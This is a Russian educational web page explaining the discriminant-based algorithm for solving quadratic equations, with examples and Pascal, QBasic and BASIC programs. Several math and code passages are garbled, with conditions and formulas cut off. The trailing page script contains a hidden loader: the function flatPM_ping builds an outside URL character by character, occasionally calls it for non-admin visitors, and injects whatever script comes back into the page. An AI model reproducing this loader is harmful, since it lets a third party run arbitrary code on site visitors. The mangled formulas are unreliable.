Алгоритм ax2 bx c 0

Краткое описание документа:

Решение любой математической задачи предполагает знание точного предписания, определяющего, как от исходных данных перейти к искомому результату. Такое предписание называется алгоритмом решения.

В этом видеоуроке рассмотрен алгоритм решения квадратного уравнения

1. Поскольку число корней квадратного уравнения, а значит его решений, зависит от дискриминанта, то сначала целесообразно определить этот дискриминант. Возможно, что уравнение и вовсе не придется решать.

Итак, вычисляем дискриминант D по формуле D = b 2 – 4ac. Далее следуем пунктам.

2. Если D 2 + bx + c = 0 не имеет корней.

3. Если D=0, то квадратное уравнение имеет один корень, который находится по формуле

4. Если D>0, то квадратное уравнение имеет два корня, которые определяются по формулам x1 = ( (- b + √D) / (2a)), x2 = ( (- b – √D) / (2a)).

Этот алгоритм универсален, потому что с его помощью можно решать уравнения полные, и так называемые неполные квадратные уравнения. Полное квадратное уравнение – это уравнение ax 2 + bx + c = 0, где b не равно 0 и с не равно 0.

Если в уравнении b=0 или с=0, то квадратное уравнение ax 2 + bx + c = 0 называется неполным.

Рассмотрим решение некоторых уравнений. Например, x 2 + 3x – 5 = 0. В видеоуроке показано, как применяется алгоритм решения. Дискриминант данного уравнения D=29, то есть D>0, значит, уравнение имеет два корня, которые мы и находим по формулам

x1 = (- b + √D) / (2a), x2 = (- b – √D) / (2a). В результате получаем ответ x1 = (- 3 + √29)/2 , x2 = (- 3 – √29)/2.

Некоторые уравнения нужно сначала преобразовать, а затем решать. Примеры решения таких уравнений показаны в видеоуроке.

Рассмотрим уравнение -9x 2 + 6x – 1 = 0. Умножая обе части этого уравнения на -1, получим 9x 2 – 6x + 1 = 0. Дискриминант данного уравнения D=0. Значит, согласно алгоритму, квадратное уравнение имеет один корень, который находится по формуле

X = – (b/2a). Этот корень x = 1/3.

Данное уравнение можно решить иначе. Как? Смотрите видеоурок.

Следующее уравнение 2x 2 – x + 3,5 = 0. Определяем дискриминант этого уравнения. Оказывается, что D= -27, то есть D 2 – 4ac 2 – 4ac = 0, то x1,2 = ( -b +- √0)/2a = -(b/2a) . Говорят, также, что уравнение имеет два равных корня, или корень кратности два.

Если же D = b 2 – 4ac > 0, то уравнение имеет два корня, которые вычисляют по формулам x1 = (- b + √D) / (2a), x2 = (- b – √D) / (2a). Таким образом, квадратное уравнение можно решать подробно, как это показано в видеоуроке, либо сразу записать общую формулу, и с ее помощью делать необходимые вычисления.

Рассмотрим пример 2/3x 2 + 5/6x 2 – 7/12 = 0. Мы видим, что коэффициенты и свободный член уравнения представляют собой дроби, с которыми неудобно работать. Как преобразовать и решить это и подобные уравнения, узнаем из видеоурока. Оттуда же поймем, когда удобнее пользоваться развернутым алгоритмом, а когда общей формулой.

Рассмотрим уравнение x 2 – (2p + 1)x+ (p 2 + p -2) = 0. Отличие этого уравнения состоит в том, что коэффициенты его являются буквенными выражениями. Говорят, что это уравнение с буквенными коэффициентами или с параметрами. Решение уравнений с параметрами требует особых навыков. В видеоуроке подробно и доступно показано решение таких уравнений и учет значений параметра при этом.

Система тестов

Номер теста Проверяемый случай Коэффициенты Результаты
a b c
1 d >0 1 1 -2 x1 = 1, x2 = – 2
2 d=0 1 2 1 Корни равны: x1 = – 1, x2 = – 1
3 d 0 2 Неправильное уравнение
6 a=0, b<>0 2 1 Линейное уравнение. Один корень: x = – 0,5
7 a<>0, b<>0, с=0 2 1 x1 = 0, x2 = – 0,5


Школьный АЯ
(упрощенный алгоритм)
алг Квур (арг вещ а, b, c, рез вещ x1, x2, рез лит t)
дано a <> 0
нач вещ d
d := b**2-4*a*c | d – дискриминант квадратного уравнения
если
d
Turbo Pascal

Program QuadraticEquation;
Uses Crt; < подключение библиотеки Crt >
Var a, b, c : Real;
Discr : Real;
x1, x2 : Real;
Test, NTest : Integer;
BEGIN
ClrScr;
Write(‘Введите количество тестов : ‘);
ReadLn(NTest);
For Test := 1 to NTest do <цикл по всем тестам задачи >
begin
Write(‘Тест ‘, Test, ‘. Введите коэффициенты a, b, c : ‘);
ReadLn(a, b, c);
If (a=0) and (b=0) and (c=0)
then begin Write(‘Все коэффициенты равны нулю.’);
WriteLn(‘x – любое число ‘)
end
else
If
(a=0) and (b<>0)
then WriteLn(‘Линейное уравнение. Oдин корень: x =’, (-c/b):6:2)
else
If
(a=0) and (b=0) and (c<>0)
then WriteLn(‘Неправильное уравнение.’)
else
begin
Discr := b*b – 4*a*c;
If
Discr > 0
then begin
x1:=(-b + Sqrt(Discr)) / (2*a);
x2:=(-b – Sqrt(Discr)) / (2*a);
WriteLn(‘x1=’ , x1:6:2 , ‘; x2=’ , x2:6:2)
end
else
If
Discr = 0
then begin
x1 := -b/(2*a);
WriteLn(‘Корни равны: x1=’, x1:6:2, ‘ x2=’, x1:6:2)
end
else
WriteLn(‘Действительных корней нет.’);
end;
WriteLn
end;
ReadLn
END.

QBasic

CLS
INPUT "Введите количество тестов : ", NTest
FOR Test = 1 TO NTest ‘ цикл по всем тестам задачи
PRINT "Тест" ; Test ; ". Введите коэффициенты a, b, c : " ;
INPUT a, b, c
IF (a = 0) AND (b = 0) AND (c = 0) THEN
PRINT "Все коэффициенты равны нулю. x – любое число"
ELSE
IF
(a = 0) AND (b <> 0) THEN
PRINT "Линейное уравнение, корень один : x = "; -c / b
ELSE
IF
(a = 0) AND (b = 0) AND (c <> 0) THEN
PRINT "Неправильное уравнение."
ELSE
Discr = b * b – 4 * a * c
IF
Discr > 0 THEN
x1 = (-b + SQR(Discr)) / (2 * a)
x2 = (-b – SQR(Discr)) / (2 * a)
PRINT "x1 = "; x1; "; x2 = "; x2
ELSE
IF
Discr = 0 THEN
x1 = – b / (2 * a)
PRINT "Корни равны: x1 = "; x1; "; x2 = "; x1
ELSE PRINT "Действительных корней нет."
END IF
END IF
END IF
END IF
END IF : PRINT
NEXT Test
ENDРезультаты работы QBasic-программы (фрагмент):

Тест 1 . Введите коэффициенты a, b, c : ? 1, 1, -2
x1 = 1 ; x2 = – 2

Тест 2 . Введите коэффициенты a, b, c : ? 1, 2, 1
Корни равны: x1 = – 1 ; x2 = – 1

Тест 3 . Введите коэффициенты a, b, c : ? 2, 1, 2
Действительных корней нет.

Задача 1. Составить блок-схему и программу, находящие корни квадратного уравнения

ax 2 + bx + c = 0

ПРОГРАММА на БЕЙСИК

PRINT “Решение квадратного уравнения“

INPUT “Ввести a, b, c: “, a, b, c

d = b * b – 4 * a * c

THEN Х 1=(-b-sqr(d))/(2*a) : Х 2=(-b+sqr(d))/(2*a) : PRINT “Х1=“, Х1, “ Х2=“, Х2

ELSE PRINT “Действительных корней нет “

Запустите программу на выполнение и решите следующие квадратные уравнения:

а) 1125 х 2 – 45 х – 324 = 0

б) 502 х 2 – 38,5 х + 12,125 = 0

в) 16 х 2 – 256 х + 1024 = 0

Задача 2. Составить блок-схему и программу, определяющие количество корней квадратного уравнения

ПРОГРАММА на БЕЙСИК

PRINT “Количество корней квадратного уравнения“

INPUT “Ввести a, b, c: “, a, b, c

d = b * b – 4 * a * c

IF d > 0 THEN PRINT “2 разных корня“ ELSE PRINT “2 одинаковых корня“

ELSE PRINT “Действительных корней нет“

Запустите программу на выполнение и определите количество корней в следующих квадратных уравнениях:

а) 1125 х 2 – 45 х – 324 = 0

б) 502 х 2 – 38,5 х + 12,125 = 0

в) 16 х 2 – 256 х + 1024 = 0

Задача 3*. Составить блок-схему и программу, определяющие имеет ли квадратное уравнение ax 2 + bx + c = 0 хотя бы один корень, больший числа m .

Запустите программу на выполнение и определите имеется ли корень в следующих квадратных уравнениях:

а) 1125 х 2 – 45 х – 324 = 0 при m = 0

б) 502 х 2 – 38,5 х + 12,125 = 0 при m = 15

в) 16 х 2 – 256 х + 1024 = 0 при m = 7

Домашнее задание – Составить блок-схемы и программы для следующих задач:

Задача 1. Определить является ли введенное с клавиатуры число корнем квадратного уравнения ax 2 + bx + c = 0 .

“>

Оцените статью
ПК Знаток
Добавить комментарий

Adblock
detector
":'':"",document.createElement("div"),c=ff(window),b=ff("body"),g=void 0===flatPM_getCookie("flat_modal_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+a.ID+"_mb"),i="scroll.flatmodal"+a.ID,m="mouseleave.flatmodal"+a.ID+" blur.flatmodal"+a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&"true"==a.how.popup.timer&&(t=ff('.fpm_5_modal[data-id-modal="'+a.ID+'"] .fpm_5_timer span'),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(--e),e'))},1e3))},s=function(){void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie&&g&&(flatPM_setCookie("flat_modal_"+a.ID+"_mb",!1),ff('.fpm_5_modal[data-id-modal="'+a.ID+'"]').addClass("fpm_5_modal-show"),l()),void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie||(ff('.fpm_5_modal[data-id-modal="'+a.ID+'"]').addClass("fpm_5_modal-show"),l())},ff("body > *").eq(0).before('
'+p+"
"),w=document.querySelector('.fpm_5_modal[data-id-modal="'+a.ID+'"] .fpm_5_modal-content'),flatPM_setHTML(w,e),"px"==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer&&(t=ff('.fpm_5_out[data-id-out="'+a.ID+'"] .fpm_5_timer span'),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(--e),e'))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie&&g&&(ff('.fpm_5_out[data-id-out="'+a.ID+'"]').addClass("show"),n(),b.on("click",'.fpm_5_out[data-id-out="'+a.ID+'"] .fpm_5_cross',function(){flatPM_setCookie("flat_out_"+a.ID+"_mb",!1)})),void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie||(ff('.fpm_5_out[data-id-out="'+a.ID+'"]').addClass("show"),n())}var _,u="0"!=a.how.outgoing.indent?' style="bottom:'+a.how.outgoing.indent+'px"':"",p="true"==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer?'
Закрыть через '+a.how.outgoing.timer_count+"
":'':"",c=ff(window),h="scroll.out"+a.ID,m="mouseleave.outgoing"+a.ID+" blur.outgoing"+a.ID,g=void 0===flatPM_getCookie("flat_out_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+a.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(a.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+p+"
");var v,w=document.querySelector('.fpm_5_out[data-id-out="'+a.ID+'"]');flatPM_setHTML(w,e),"px"==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_subflat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub.flatPM_sidebar)");0<_.length t="ff(this),e=t.data("height")||350,o=t.data("top");t.wrap('');t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a');t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t *").last().after('
'),flat_body.on("click",".fpm_5_out .fpm_5_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".fpm_5_modal .fpm_5_cross",function(){ff(this).closest(".fpm_5_modal").removeClass("fpm_5_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),ff("[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)").contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/]*)\/>/gi,d=/",""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement("div")),r=(d.exec(e)||["",""])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1]+e.replace(l,"$2>")+r[2],n=r[0];n--;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,166);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"r"+"e"+"a"+"d"+"o"+"n"+"e"+"."+"r"+"u"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",r=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,n='
'+a+" через "+l+'
'+r+'
',i=e.once;o(t).each(function(){var e=o(this);e.wrap('
');var t=e.closest(".fpm_5_video");flatPM_setHTML(t[0],n),e.find(".fpm_5_video_flex").one("click",function(){o(this).addClass("show")})}),o("body").on("click",".fpm_5_video_item_hover",function(){var e=o(this),t=e.closest(".fpm_5_video_flex");t.addClass("show");var a=t.find(".fpm_5_timer span"),r=parseInt(l),n=setInterval(function(){a.text(--r),r'):t.remove())},1e3);e.remove()}).on("click",".fpm_5_video_flex .fpm_5_cross",function(){o(this).closest(".fpm_5_video_flex").remove(),"true"==i&&o(".fpm_5_video_flex").remove()})};